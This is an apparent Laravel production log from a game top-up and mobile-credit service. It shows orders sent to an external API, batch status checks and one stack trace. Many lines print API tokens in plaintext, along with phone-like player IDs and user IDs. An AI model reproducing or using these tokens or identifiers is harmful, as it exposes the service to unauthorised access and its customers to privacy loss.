[2026-03-24 20:00:15] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/825/params?qty=2000&uuid=bdfcd900-b4cb-43d2-a4b2-bda8bfb5be8e&Player_ID=4631414","has_body":false} 
[2026-03-24 20:00:15] production.INFO: Constructing job for order: 179273  
[2026-03-24 20:00:16] production.INFO: Operation sent successfully {"operation_id":164154,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Ujf-1774371615","amount":1.475357999999999947249307297170162200927734375,"status":"processing","product":"Sahra Amount","game":"Sahra Caht","notes":[],"created_at":"2026-03-24 20:00:16"}},"processed_data":{"order_number":"ORD-Ujf-1774371615","amount":1.475357999999999947249307297170162200927734375,"status":"processing","product":"Sahra Amount","game":"Sahra Caht"}} 
[2026-03-24 20:00:16] production.INFO: Handling job for order: 179273  
[2026-03-24 20:00:16] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:00:16] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:00:16] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=068b2271-3649-4635-a085-8243f5eb0335&Player_ID=0968967007  
[2026-03-24 20:00:16] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=068b2271-3649-4635-a085-8243f5eb0335&Player_ID=0968967007","has_body":false} 
[2026-03-24 20:00:16] production.INFO: Operation sent successfully {"operation_id":164155,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-nKTtWcT-1774371616","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 20:00:16"}},"processed_data":{"order_number":"ORD-nKTtWcT-1774371616","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 20:00:21] production.INFO: Constructing job for order: 179274  
[2026-03-24 20:00:22] production.INFO: Handling job for order: 179274  
[2026-03-24 20:00:22] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:00:22] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:00:22] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=1630f8b9-cebc-4bce-8225-3d582401caa1&Player_ID=0968967007  
[2026-03-24 20:00:22] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=1630f8b9-cebc-4bce-8225-3d582401caa1&Player_ID=0968967007","has_body":false} 
[2026-03-24 20:00:23] production.INFO: Operation sent successfully {"operation_id":164156,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-2M5RPWh-1774371623","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 20:00:23"}},"processed_data":{"order_number":"ORD-2M5RPWh-1774371623","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 20:00:38] production.INFO: Constructing job for order: 179275  
[2026-03-24 20:00:40] production.INFO: Constructing job for order: 179276  
[2026-03-24 20:00:41] production.INFO: Handling job for order: 179275  
[2026-03-24 20:00:41] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:00:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:00:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=d8a8d5bc-838c-41b8-9702-67b40c55e3d3&Player_ID=0958681669  
[2026-03-24 20:00:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=d8a8d5bc-838c-41b8-9702-67b40c55e3d3&Player_ID=0958681669","has_body":false} 
[2026-03-24 20:00:42] production.INFO: Operation sent successfully {"operation_id":164157,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-yQjZRv7-1774371642","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 20:00:42"}},"processed_data":{"order_number":"ORD-yQjZRv7-1774371642","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 20:00:42] production.INFO: Handling job for order: 179276  
[2026-03-24 20:00:42] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:00:42] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:00:42] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=e45e2b8b-705f-48bc-8fb6-0863708da8e2&Player_ID=0985117997  
[2026-03-24 20:00:42] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=e45e2b8b-705f-48bc-8fb6-0863708da8e2&Player_ID=0985117997","has_body":false} 
[2026-03-24 20:00:43] production.INFO: Operation sent successfully {"operation_id":164158,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-lgLcypk-1774371642","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 20:00:43"}},"processed_data":{"order_number":"ORD-lgLcypk-1774371642","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 20:00:43] production.INFO: Constructing job for order: 179277  
[2026-03-24 20:00:46] production.INFO: Handling job for order: 179277  
[2026-03-24 20:00:46] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:00:46] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:00:46] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=cfda64de-66c3-4bda-8dc0-696eb38f6350&Player_ID=0958681669  
[2026-03-24 20:00:46] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=cfda64de-66c3-4bda-8dc0-696eb38f6350&Player_ID=0958681669","has_body":false} 
[2026-03-24 20:00:46] production.INFO: Operation sent successfully {"operation_id":164159,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-MIIZ-1774371646","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 20:00:46"}},"processed_data":{"order_number":"ORD-MIIZ-1774371646","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 20:00:48] production.INFO: Constructing job for order: 179278  
[2026-03-24 20:00:49] production.INFO: Handling job for order: 179278  
[2026-03-24 20:00:49] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:00:49] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:00:49] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=80fc7bb9-7637-4801-b2d3-ea216830d8df&Player_ID=0958681669  
[2026-03-24 20:00:49] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=80fc7bb9-7637-4801-b2d3-ea216830d8df&Player_ID=0958681669","has_body":false} 
[2026-03-24 20:00:50] production.INFO: Operation sent successfully {"operation_id":164160,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Rw1pj-1774371650","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 20:00:50"}},"processed_data":{"order_number":"ORD-Rw1pj-1774371650","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 20:00:52] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"300.0","mainamount":"300","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpjanut3l0dqd80sMaRD1"}},"user_id":189} 
[2026-03-24 20:00:52] production.ERROR: Undefined array key "operation_number" {"userId":189,"exception":"[object] (ErrorException(code: 0): Undefined array key \"operation_number\" at /home/talaah/public_html/app/Services/CreditRequestService.php:58)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Bootstrap/HandleExceptions.php(258): Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'Undefined array...', '/home/talaah/pu...', 58)
#1 /home/talaah/public_html/app/Services/CreditRequestService.php(58): Illuminate\\Foundation\\Bootstrap\\HandleExceptions->{closure:Illuminate\\Foundation\\Bootstrap\\HandleExceptions::forwardsTo():257}(2, 'Undefined array...', '/home/talaah/pu...', 58)
#2 /home/talaah/public_html/app/Http/Controllers/Api/PaymentController.php(66): App\\Services\\CreditRequestService->createCreditRequest(Array, Object(App\\Models\\User), Object(Illuminate\\Http\\UploadedFile))
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Controller.php(54): App\\Http\\Controllers\\Api\\PaymentController->requestcredit(Object(Illuminate\\Http\\Request))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(43): Illuminate\\Routing\\Controller->callAction('requestcredit', Array)
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(App\\Http\\Controllers\\Api\\PaymentController), 'requestcredit')
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/app/Http/Middleware/CheckServiceAvailability.php(37): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckServiceAvailability->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'balance_request')
#11 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(72): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#38 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#39 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#40 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#41 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#42 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#43 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#44 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#45 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#46 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#47 {main}
"} 
[2026-03-24 20:01:00] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 20:01:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 645  
[2026-03-24 20:01:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1526  
[2026-03-24 20:01:50] production.INFO: Constructing job for order: 179279  
[2026-03-24 20:01:53] production.INFO: Handling job for order: 179279  
[2026-03-24 20:01:53] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:01:53] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:01:53] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/602/params?qty=230000&uuid=3012598b-ed6d-4559-85ae-f4e497c39eb9&Player_ID=61741342  
[2026-03-24 20:01:53] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/602/params?qty=230000&uuid=3012598b-ed6d-4559-85ae-f4e497c39eb9&Player_ID=61741342","has_body":false} 
[2026-03-24 20:01:54] production.INFO: Operation sent successfully {"operation_id":164161,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-BzcPU-1774371714","amount":14.4029679999999995487769410829059779644012451171875,"status":"processing","product":"4fun Amount","game":"4Fun","notes":[],"created_at":"2026-03-24 20:01:54"}},"processed_data":{"order_number":"ORD-BzcPU-1774371714","amount":14.4029679999999995487769410829059779644012451171875,"status":"processing","product":"4fun Amount","game":"4Fun"}} 
[2026-03-24 20:02:00] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"300.0","mainamount":"300","operation_number":"158668432","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpsi096eg5c0sg0bO0jwD"}},"user_id":189} 
[2026-03-24 20:02:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 20:02:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 20:02:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 20:02:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 20:02:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 20:02:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 20:02:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 20:02:03] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 20:02:03] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18690,"user_id":189,"amount":300.0,"admins_notified":7} 
[2026-03-24 20:02:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03"} 
[2026-03-24 20:02:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","total_operations":10,"sites_count":2} 
[2026-03-24 20:02:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-lVScmXvO-1774371576","ORD-Ujf-1774371615","ORD-BzcPU-1774371714"]} 
[2026-03-24 20:02:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:02:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 20:02:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-BzcPU-1774371714","operation_id":164161} 
[2026-03-24 20:02:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lVScmXvO-1774371576","operation_id":164152} 
[2026-03-24 20:02:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ujf-1774371615","operation_id":164154} 
[2026-03-24 20:02:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ujf-1774371615","operation_id":164154,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 20:02:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ujf-1774371615","operation_id":164154,"processed":0,"errors":0} 
[2026-03-24 20:02:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ujf-1774371615","operation_id":164154,"orders_count":7,"order_ids":["ORD-bJrlA3d7-1774371612","ORD-nKTtWcT-1774371616","ORD-2M5RPWh-1774371623","ORD-yQjZRv7-1774371642","ORD-lgLcypk-1774371642","ORD-MIIZ-1774371646","ORD-Rw1pj-1774371650"]} 
[2026-03-24 20:02:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ujf-1774371615","operation_id":164154} 
[2026-03-24 20:02:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ujf-1774371615","operation_id":164154,"orders_count":7} 
[2026-03-24 20:02:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yQjZRv7-1774371642","operation_id":164157,"processed":7,"skipped":0,"updates_prepared":7} 
[2026-03-24 20:02:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yQjZRv7-1774371642","operation_id":164157,"total_items":7,"chunks":1,"chunk_size":10} 
[2026-03-24 20:02:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yQjZRv7-1774371642","operation_id":164157,"count":7} 
[2026-03-24 20:02:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yQjZRv7-1774371642","operation_id":164157,"count":7} 
[2026-03-24 20:02:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yQjZRv7-1774371642","operation_id":164157,"user_id":949,"notification_type":"order_approved","reference_id":179274} 
[2026-03-24 20:02:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yQjZRv7-1774371642","operation_id":164157,"user_id":949,"notification_type":"order_approved","reference_id":179271} 
[2026-03-24 20:02:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yQjZRv7-1774371642","operation_id":164157,"user_id":587,"notification_type":"order_approved","reference_id":179276} 
[2026-03-24 20:02:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yQjZRv7-1774371642","operation_id":164157,"user_id":949,"notification_type":"order_approved","reference_id":179277} 
[2026-03-24 20:02:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yQjZRv7-1774371642","operation_id":164157,"user_id":949,"notification_type":"order_approved","reference_id":179273} 
